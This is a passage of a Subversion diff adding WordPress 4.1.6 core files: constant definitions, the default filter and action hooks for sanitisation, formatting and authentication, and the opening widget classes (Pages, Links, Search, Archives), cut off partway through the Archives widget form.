+		define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('ADMIN_COOKIE_PATH') )
+		define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('PLUGINS_COOKIE_PATH') )
+		define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL)  );
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('COOKIE_DOMAIN') )
+		define('COOKIE_DOMAIN', false);
+}
+
+/**
+ * Defines cookie related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_ssl_constants() {
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined( 'FORCE_SSL_ADMIN' ) ) {
+		if ( 'https' === parse_url( get_option( 'siteurl' ), PHP_URL_SCHEME ) ) {
+			define( 'FORCE_SSL_ADMIN', true );
+		} else {
+			define( 'FORCE_SSL_ADMIN', false );
+		}
+	}
+	force_ssl_admin( FORCE_SSL_ADMIN );
+
+	/**
+	 * @since 2.6.0
+	 * @deprecated 4.0.0
+	 */
+	if ( defined( 'FORCE_SSL_LOGIN' ) && FORCE_SSL_LOGIN ) {
+		force_ssl_admin( true );
+	}
+}
+
+/**
+ * Defines functionality related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_functionality_constants() {
+	/**
+	 * @since 2.5.0
+	 */
+	if ( !defined( 'AUTOSAVE_INTERVAL' ) )
+		define( 'AUTOSAVE_INTERVAL', 60 );
+
+	/**
+	 * @since 2.9.0
+	 */
+	if ( !defined( 'EMPTY_TRASH_DAYS' ) )
+		define( 'EMPTY_TRASH_DAYS', 30 );
+
+	if ( !defined('WP_POST_REVISIONS') )
+		define('WP_POST_REVISIONS', true);
+
+	/**
+	 * @since 3.3.0
+	 */
+	if ( !defined( 'WP_CRON_LOCK_TIMEOUT' ) )
+		define('WP_CRON_LOCK_TIMEOUT', 60);  // In seconds
+}
+
+/**
+ * Defines templating related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_templating_constants() {
+	/**
+	 * Filesystem path to the current active template directory
+	 * @since 1.5.0
+	 */
+	define('TEMPLATEPATH', get_template_directory());
+
+	/**
+	 * Filesystem path to the current active template stylesheet directory
+	 * @since 2.1.0
+	 */
+	define('STYLESHEETPATH', get_stylesheet_directory());
+
+	/**
+	 * Slug of the default theme for this install.
+	 * Used as the default theme when installing new sites.
+	 * Will be used as the fallback if the current theme doesn't exist.
+	 * @since 3.0.0
+	 */
+	if ( !defined('WP_DEFAULT_THEME') )
+		define( 'WP_DEFAULT_THEME', 'twentyfifteen' );
+
+}
Index: /tags/4.1.6/src/wp-includes/default-filters.php
===================================================================
--- /tags/4.1.6/src/wp-includes/default-filters.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/default-filters.php	(revision 33402)
@@ -0,0 +1,309 @@
+<?php
+/**
+ * Sets up the default filters and actions for most
+ * of the WordPress hooks.
+ *
+ * If you need to remove a default hook, this file will
+ * give you the priority for which to use to remove the
+ * hook.
+ *
+ * Not all of the default hooks are found in default-filters.php
+ *
+ * @package WordPress
+ */
+
+// Strip, trim, kses, special chars for string saves
+foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) {
+	add_filter( $filter, 'sanitize_text_field'  );
+	add_filter( $filter, 'wp_filter_kses'       );
+	add_filter( $filter, '_wp_specialchars', 30 );
+}
+
+// Strip, kses, special chars for string display
+foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) {
+	if ( is_admin() ) {
+		// These are expensive. Run only on admin pages for defense in depth.
+		add_filter( $filter, 'sanitize_text_field'  );
+		add_filter( $filter, 'wp_kses_data'       );
+	}
+	add_filter( $filter, '_wp_specialchars', 30 );
+}
+
+// Kses only for textarea saves
+foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) {
+	add_filter( $filter, 'wp_filter_kses' );
+}
+
+// Kses only for textarea admin displays
+if ( is_admin() ) {
+	foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) {
+		add_filter( $filter, 'wp_kses_data' );
+	}
+	add_filter( 'comment_text', 'wp_kses_post' );
+}
+
+// Email saves
+foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) {
+	add_filter( $filter, 'trim'           );
+	add_filter( $filter, 'sanitize_email' );
+	add_filter( $filter, 'wp_filter_kses' );
+}
+
+// Email admin display
+foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) {
+	add_filter( $filter, 'sanitize_email' );
+	if ( is_admin() )
+		add_filter( $filter, 'wp_kses_data' );
+}
+
+// Save URL
+foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image',
+	'pre_link_rss', 'pre_post_guid' ) as $filter ) {
+	add_filter( $filter, 'wp_strip_all_tags' );
+	add_filter( $filter, 'esc_url_raw'       );
+	add_filter( $filter, 'wp_filter_kses'    );
+}
+
+// Display URL
+foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) {
+	if ( is_admin() )
+		add_filter( $filter, 'wp_strip_all_tags' );
+	add_filter( $filter, 'esc_url'           );
+	if ( is_admin() )
+		add_filter( $filter, 'wp_kses_data'    );
+}
+
+// Slugs
+add_filter( 'pre_term_slug', 'sanitize_title' );
+
+// Keys
+foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) {
+	add_filter( $filter, 'sanitize_key' );
+}
+
+// Mime types
+add_filter( 'pre_post_mime_type', 'sanitize_mime_type' );
+add_filter( 'post_mime_type', 'sanitize_mime_type' );
+
+// Places to balance tags on input
+foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) {
+	add_filter( $filter, 'balanceTags', 50 );
+}
+
+// Format strings for display.
+foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) {
+	add_filter( $filter, 'wptexturize'   );
+	add_filter( $filter, 'convert_chars' );
+	add_filter( $filter, 'esc_html'      );
+}
+
+// Format WordPress
+foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter )
+	add_filter( $filter, 'capital_P_dangit', 11 );
+add_filter( 'comment_text', 'capital_P_dangit', 31 );
+
+// Format titles
+foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) {
+	add_filter( $filter, 'wptexturize' );
+	add_filter( $filter, 'strip_tags'  );
+}
+
+// Format text area for display.
+foreach ( array( 'term_description' ) as $filter ) {
+	add_filter( $filter, 'wptexturize'      );
+	add_filter( $filter, 'convert_chars'    );
+	add_filter( $filter, 'wpautop'          );
+	add_filter( $filter, 'shortcode_unautop');
+}
+
+// Format for RSS
+add_filter( 'term_name_rss', 'convert_chars' );
+
+// Pre save hierarchy
+add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 );
+add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 );
+
+// Display filters
+add_filter( 'the_title', 'wptexturize'   );
+add_filter( 'the_title', 'convert_chars' );
+add_filter( 'the_title', 'trim'          );
+
+add_filter( 'the_content', 'wptexturize'        );
+add_filter( 'the_content', 'convert_smilies'    );
+add_filter( 'the_content', 'convert_chars'      );
+add_filter( 'the_content', 'wpautop'            );
+add_filter( 'the_content', 'shortcode_unautop'  );
+add_filter( 'the_content', 'prepend_attachment' );
+
+add_filter( 'the_excerpt',     'wptexturize'      );
+add_filter( 'the_excerpt',     'convert_smilies'  );
+add_filter( 'the_excerpt',     'convert_chars'    );
+add_filter( 'the_excerpt',     'wpautop'          );
+add_filter( 'the_excerpt',     'shortcode_unautop');
+add_filter( 'get_the_excerpt', 'wp_trim_excerpt'  );
+
+add_filter( 'comment_text', 'wptexturize'            );
+add_filter( 'comment_text', 'convert_chars'          );
+add_filter( 'comment_text', 'make_clickable',      9 );
+add_filter( 'comment_text', 'force_balance_tags', 25 );
+add_filter( 'comment_text', 'convert_smilies',    20 );
+add_filter( 'comment_text', 'wpautop',            30 );
+
+add_filter( 'comment_excerpt', 'convert_chars' );
+
+add_filter( 'list_cats',         'wptexturize' );
+
+add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 );
+
+// RSS filters
+add_filter( 'the_title_rss',      'strip_tags'      );
+add_filter( 'the_title_rss',      'ent2ncr',      8 );
+add_filter( 'the_title_rss',      'esc_html'        );
+add_filter( 'the_content_rss',    'ent2ncr',      8 );
+add_filter( 'the_excerpt_rss',    'convert_chars'   );
+add_filter( 'the_excerpt_rss',    'ent2ncr',      8 );
+add_filter( 'comment_author_rss', 'ent2ncr',      8 );
+add_filter( 'comment_text_rss',   'ent2ncr',      8 );
+add_filter( 'comment_text_rss',   'esc_html'        );
+add_filter( 'bloginfo_rss',       'ent2ncr',      8 );
+add_filter( 'the_author',         'ent2ncr',      8 );
+
+// Misc filters
+add_filter( 'option_ping_sites',        'privacy_ping_filter'                 );
+add_filter( 'option_blog_charset',      '_wp_specialchars'                    ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop
+add_filter( 'option_blog_charset',      '_canonical_charset'                  );
+add_filter( 'option_home',              '_config_wp_home'                     );
+add_filter( 'option_siteurl',           '_config_wp_siteurl'                  );
+add_filter( 'tiny_mce_before_init',     '_mce_set_direction'                  );
+add_filter( 'pre_kses',                 'wp_pre_kses_less_than'               );
+add_filter( 'sanitize_title',           'sanitize_title_with_dashes',   10, 3 );
+add_action( 'check_comment_flood',      'check_comment_flood_db',       10, 3 );
+add_filter( 'comment_flood_filter',     'wp_throttle_comment_flood',    10, 3 );
+add_filter( 'pre_comment_content',      'wp_rel_nofollow',              15    );
+add_filter( 'comment_email',            'antispambot'                         );
+add_filter( 'option_tag_base',          '_wp_filter_taxonomy_base'            );
+add_filter( 'option_category_base',     '_wp_filter_taxonomy_base'            );
+add_filter( 'the_posts',                '_close_comments_for_old_posts', 10, 2);
+add_filter( 'comments_open',            '_close_comments_for_old_post', 10, 2 );
+add_filter( 'pings_open',               '_close_comments_for_old_post', 10, 2 );
+add_filter( 'editable_slug',            'urldecode'                           );
+add_filter( 'editable_slug',            'esc_textarea'                        );
+add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object'        );
+add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri'            );
+add_filter( 'xmlrpc_pingback_error',    'xmlrpc_pingback_error'               );
+add_filter( 'title_save_pre',           'trim'                                );
+
+add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 );
+
+// Actions
+add_action( 'wp_head',             '_wp_render_title_tag',            1     );
+add_action( 'wp_head',             'wp_enqueue_scripts',              1     );
+add_action( 'wp_head',             'feed_links',                      2     );
+add_action( 'wp_head',             'feed_links_extra',                3     );
+add_action( 'wp_head',             'rsd_link'                               );
+add_action( 'wp_head',             'wlwmanifest_link'                       );
+add_action( 'wp_head',             'adjacent_posts_rel_link_wp_head', 10, 0 );
+add_action( 'wp_head',             'locale_stylesheet'                      );
+add_action( 'publish_future_post', 'check_and_publish_future_post',   10, 1 );
+add_action( 'wp_head',             'noindex',                          1    );
+add_action( 'wp_head',             'wp_print_styles',                  8    );
+add_action( 'wp_head',             'wp_print_head_scripts',            9    );
+add_action( 'wp_head',             'wp_generator'                           );
+add_action( 'wp_head',             'rel_canonical'                          );
+add_action( 'wp_footer',           'wp_print_footer_scripts',         20    );
+add_action( 'wp_head',             'wp_shortlink_wp_head',            10, 0 );
+add_action( 'template_redirect',   'wp_shortlink_header',             11, 0 );
+add_action( 'wp_print_footer_scripts', '_wp_footer_scripts'                 );
+add_action( 'init',                'check_theme_switched',            99    );
+add_action( 'after_switch_theme',  '_wp_sidebars_changed'                   );
+
+if ( isset( $_GET['replytocom'] ) )
+    add_action( 'wp_head', 'wp_no_robots' );
+
+// Login actions
+add_action( 'login_head',          'wp_print_head_scripts',         9     );
+add_action( 'login_footer',        'wp_print_footer_scripts',       20    );
+add_action( 'login_init',          'send_frame_options_header',     10, 0 );
+
+// Feed Generator Tags
+foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) {
+	add_action( $action, 'the_generator' );
+}
+
+// WP Cron
+if ( !defined( 'DOING_CRON' ) )
+	add_action( 'init', 'wp_cron' );
+
+// 2 Actions 2 Furious
+add_action( 'do_feed_rdf',                'do_feed_rdf',                             10, 1 );
+add_action( 'do_feed_rss',                'do_feed_rss',                             10, 1 );
+add_action( 'do_feed_rss2',               'do_feed_rss2',                            10, 1 );
+add_action( 'do_feed_atom',               'do_feed_atom',                            10, 1 );
+add_action( 'do_pings',                   'do_all_pings',                            10, 1 );
+add_action( 'do_robots',                  'do_robots'                                      );
+add_action( 'set_comment_cookies',        'wp_set_comment_cookies',                  10, 2 );
+add_action( 'sanitize_comment_cookies',   'sanitize_comment_cookies'                       );
+add_action( 'admin_print_scripts',        'print_head_scripts',                      20    );
+add_action( 'admin_print_footer_scripts', '_wp_footer_scripts'                             );
+add_action( 'admin_print_styles',         'print_admin_styles',                      20    );
+add_action( 'init',                       'smilies_init',                             5    );
+add_action( 'plugins_loaded',             'wp_maybe_load_widgets',                    0    );
+add_action( 'plugins_loaded',             'wp_maybe_load_embeds',                     0    );
+add_action( 'shutdown',                   'wp_ob_end_flush_all',                      1    );
+// Create a revision whenever a post is updated.
+add_action( 'post_updated',               'wp_save_post_revision',                   10, 1 );
+add_action( 'publish_post',               '_publish_post_hook',                       5, 1 );
+add_action( 'transition_post_status',     '_transition_post_status',                  5, 3 );
+add_action( 'transition_post_status',     '_update_term_count_on_transition_post_status', 10, 3 );
+add_action( 'comment_form',               'wp_comment_form_unfiltered_html_nonce'          );
+add_action( 'wp_scheduled_delete',        'wp_scheduled_delete'                            );
+add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts'                      );
+add_action( 'admin_init',                 'send_frame_options_header',               10, 0 );
+add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment'                           );
+add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment'                           );
+add_action( 'welcome_panel',              'wp_welcome_panel'                               );
+
+// Navigation menu actions
+add_action( 'delete_post',                '_wp_delete_post_menu_item'         );
+add_action( 'delete_term',                '_wp_delete_tax_menu_item',   10, 3 );
+add_action( 'transition_post_status',     '_wp_auto_add_pages_to_menu', 10, 3 );
+
+// Post Thumbnail CSS class filtering
+add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add'    );
+add_action( 'end_fetch_post_thumbnail_html',   '_wp_post_thumbnail_class_filter_remove' );
+
+// Redirect Old Slugs
+add_action( 'template_redirect', 'wp_old_slug_redirect'              );
+add_action( 'post_updated',      'wp_check_for_changed_slugs', 12, 3 );
+
+// Nonce check for Post Previews
+add_action( 'init', '_show_post_preview' );
+
+// Timezone
+add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' );
+
+// Admin Color Schemes
+add_action( 'admin_init', 'register_admin_color_schemes', 1);
+add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' );
+
+// If the upgrade hasn't run yet, assume link manager is used.
+add_filter( 'default_option_link_manager_enabled', '__return_true' );
+
+// This option no longer exists; tell plugins we always support auto-embedding.
+add_filter( 'default_option_embed_autourls', '__return_true' );
+
+// Default settings for heartbeat
+add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' );
+
+// Check if the user is logged out
+add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
+add_filter( 'heartbeat_send',        'wp_auth_check' );
+add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' );
+
+// Default authentication filters
+add_filter( 'authenticate', 'wp_authenticate_username_password',  20, 3 );
+add_filter( 'authenticate', 'wp_authenticate_spam_check',         99    );
+add_filter( 'determine_current_user', 'wp_validate_auth_cookie'          );
+add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 );
+
+unset($filter, $action);
Index: /tags/4.1.6/src/wp-includes/default-widgets.php
===================================================================
--- /tags/4.1.6/src/wp-includes/default-widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/default-widgets.php	(revision 33402)
@@ -0,0 +1,1423 @@
+<?php
+/**
+ * Default Widgets
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ */
+
+/**
+ * Pages widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Pages extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_pages', 'description' => __( 'A list of your site&#8217;s Pages.') );
+		parent::__construct('pages', __('Pages'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		/**
+		 * Filter the widget title.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $title    The widget title. Default 'Pages'.
+		 * @param array  $instance An array of the widget's settings.
+		 * @param mixed  $id_base  The widget ID.
+		 */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Pages' ) : $instance['title'], $instance, $this->id_base );
+
+		$sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
+		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];
+
+		if ( $sortby == 'menu_order' )
+			$sortby = 'menu_order, post_title';
+
+		/**
+		 * Filter the arguments for the Pages widget.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_list_pages()
+		 *
+		 * @param array $args An array of arguments to retrieve the pages list.
+		 */
+		$out = wp_list_pages( apply_filters( 'widget_pages_args', array(
+			'title_li'    => '',
+			'echo'        => 0,
+			'sort_column' => $sortby,
+			'exclude'     => $exclude
+		) ) );
+
+		if ( ! empty( $out ) ) {
+			echo $args['before_widget'];
+			if ( $title ) {
+				echo $args['before_title'] . $title . $args['after_title'];
+			}
+		?>
+		<ul>
+			<?php echo $out; ?>
+		</ul>
+		<?php
+			echo $args['after_widget'];
+		}
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ) ) ) {
+			$instance['sortby'] = $new_instance['sortby'];
+		} else {
+			$instance['sortby'] = 'menu_order';
+		}
+
+		$instance['exclude'] = strip_tags( $new_instance['exclude'] );
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'sortby' => 'post_title', 'title' => '', 'exclude' => '') );
+		$title = esc_attr( $instance['title'] );
+		$exclude = esc_attr( $instance['exclude'] );
+	?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+		<p>
+			<label for="<?php echo $this->get_field_id('sortby'); ?>"><?php _e( 'Sort by:' ); ?></label>
+			<select name="<?php echo $this->get_field_name('sortby'); ?>" id="<?php echo $this->get_field_id('sortby'); ?>" class="widefat">
+				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
+				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
+				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
+			</select>
+		</p>
+		<p>
+			<label for="<?php echo $this->get_field_id('exclude'); ?>"><?php _e( 'Exclude:' ); ?></label> <input type="text" value="<?php echo $exclude; ?>" name="<?php echo $this->get_field_name('exclude'); ?>" id="<?php echo $this->get_field_id('exclude'); ?>" class="widefat" />
+			<br />
+			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
+		</p>
+<?php
+	}
+
+}
+
+/**
+ * Links widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Links extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('description' => __( "Your blogroll" ) );
+		parent::__construct('links', __('Links'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		$show_description = isset($instance['description']) ? $instance['description'] : false;
+		$show_name = isset($instance['name']) ? $instance['name'] : false;
+		$show_rating = isset($instance['rating']) ? $instance['rating'] : false;
+		$show_images = isset($instance['images']) ? $instance['images'] : true;
+		$category = isset($instance['category']) ? $instance['category'] : false;
+		$orderby = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name';
+		$order = $orderby == 'rating' ? 'DESC' : 'ASC';
+		$limit = isset( $instance['limit'] ) ? $instance['limit'] : -1;
+
+		$before_widget = preg_replace( '/id="[^"]*"/', 'id="%id"', $args['before_widget'] );
+
+		/**
+		 * Filter the arguments for the Links widget.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @see wp_list_bookmarks()
+		 *
+		 * @param array $args An array of arguments to retrieve the links list.
+		 */
+		wp_list_bookmarks( apply_filters( 'widget_links_args', array(
+			'title_before' => $args['before_title'], 'title_after' => $args['after_title'],
+			'category_before' => $before_widget, 'category_after' => $args['after_widget'],
+			'show_images' => $show_images, 'show_description' => $show_description,
+			'show_name' => $show_name, 'show_rating' => $show_rating,
+			'category' => $category, 'class' => 'linkcat widget',
+			'orderby' => $orderby, 'order' => $order,
+			'limit' => $limit,
+		) ) );
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$new_instance = (array) $new_instance;
+		$instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0 );
+		foreach ( $instance as $field => $val ) {
+			if ( isset($new_instance[$field]) )
+				$instance[$field] = 1;
+		}
+
+		$instance['orderby'] = 'name';
+		if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ) ) )
+			$instance['orderby'] = $new_instance['orderby'];
+
+		$instance['category'] = intval( $new_instance['category'] );
+		$instance['limit'] = ! empty( $new_instance['limit'] ) ? intval( $new_instance['limit'] ) : -1;
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false, 'orderby' => 'name', 'limit' => -1 ) );
+		$link_cats = get_terms( 'link_category' );
+		if ( ! $limit = intval( $instance['limit'] ) )
+			$limit = -1;
+?>
+		<p>
+		<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e( 'Select Link Category:' ); ?></label>
+		<select class="widefat" id="<?php echo $this->get_field_id('category'); ?>" name="<?php echo $this->get_field_name('category'); ?>">
+		<option value=""><?php _ex('All Links', 'links widget'); ?></option>
+		<?php
+		foreach ( $link_cats as $link_cat ) {
+			echo '<option value="' . intval( $link_cat->term_id ) . '"'
+				. selected( $instance['category'], $link_cat->term_id, false )
+				. '>' . $link_cat->name . "</option>\n";
+		}
+		?>
+		</select>
+		<label for="<?php echo $this->get_field_id('orderby'); ?>"><?php _e( 'Sort by:' ); ?></label>
+		<select name="<?php echo $this->get_field_name('orderby'); ?>" id="<?php echo $this->get_field_id('orderby'); ?>" class="widefat">
+			<option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option>
+			<option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option>
+			<option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option>
+			<option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option>
+		</select>
+		</p>
+		<p>
+		<input class="checkbox" type="checkbox" <?php checked($instance['images'], true) ?> id="<?php echo $this->get_field_id('images'); ?>" name="<?php echo $this->get_field_name('images'); ?>" />
+		<label for="<?php echo $this->get_field_id('images'); ?>"><?php _e('Show Link Image'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['name'], true) ?> id="<?php echo $this->get_field_id('name'); ?>" name="<?php echo $this->get_field_name('name'); ?>" />
+		<label for="<?php echo $this->get_field_id('name'); ?>"><?php _e('Show Link Name'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['description'], true) ?> id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>" />
+		<label for="<?php echo $this->get_field_id('description'); ?>"><?php _e('Show Link Description'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['rating'], true) ?> id="<?php echo $this->get_field_id('rating'); ?>" name="<?php echo $this->get_field_name('rating'); ?>" />
+		<label for="<?php echo $this->get_field_id('rating'); ?>"><?php _e('Show Link Rating'); ?></label>
+		</p>
+		<p>
+		<label for="<?php echo $this->get_field_id('limit'); ?>"><?php _e( 'Number of links to show:' ); ?></label>
+		<input id="<?php echo $this->get_field_id('limit'); ?>" name="<?php echo $this->get_field_name('limit'); ?>" type="text" value="<?php echo $limit == -1 ? '' : intval( $limit ); ?>" size="3" />
+		</p>
+<?php
+	}
+}
+
+/**
+ * Search widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Search extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_search', 'description' => __( "A search form for your site.") );
+		parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops );
+	}
+
+	public function widget( $args, $instance ) {
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		// Use current theme search form if it exists
+		get_search_form();
+
+		echo $args['after_widget'];
+	}
+
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = $instance['title'];
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></label></p>
+<?php
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args((array) $new_instance, array( 'title' => ''));
+		$instance['title'] = strip_tags($new_instance['title']);
+		return $instance;
+	}
+
+}
+
+/**
+ * Archives widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Archives extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_archive', 'description' => __( 'A monthly archive of your site&#8217;s Posts.') );
+		parent::__construct('archives', __('Archives'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+		$c = ! empty( $instance['count'] ) ? '1' : '0';
+		$d = ! empty( $instance['dropdown'] ) ? '1' : '0';
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives' ) : $instance['title'], $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		if ( $d ) {
+?>
+		<select name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'>
+			<option value=""><?php esc_attr_e( 'Select Month' ); ?></option>
+
+			<?php
+			/**
+			 * Filter the arguments for the Archives widget drop-down.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @see wp_get_archives()
+			 *
+			 * @param array $args An array of Archives widget drop-down arguments.
+			 */
+			wp_get_archives( apply_filters( 'widget_archives_dropdown_args', array(
+				'type'            => 'monthly',
+				'format'          => 'option',
+				'show_post_count' => $c
+			) ) );
+?>
+		</select>
+<?php
+		} else {
+?>
+		<ul>
+<?php
+		/**
+		 * Filter the arguments for the Archives widget.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_get_archives()
+		 *
+		 * @param array $args An array of Archives option arguments.
+		 */
+		wp_get_archives( apply_filters( 'widget_archives_args', array(
+			'type'            => 'monthly',
+			'show_post_count' => $c
+		) ) );
+?>
+		</ul>
+<?php
+		}
+
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['count'] = $new_instance['count'] ? 1 : 0;
+		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$title = strip_tags($instance['title']);
+		$count = $instance['count'] ? 'checked="checked"' : '';
+		$dropdown = $instance['dropdown'] ? 'checked="checked"' : '';
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+		<p>
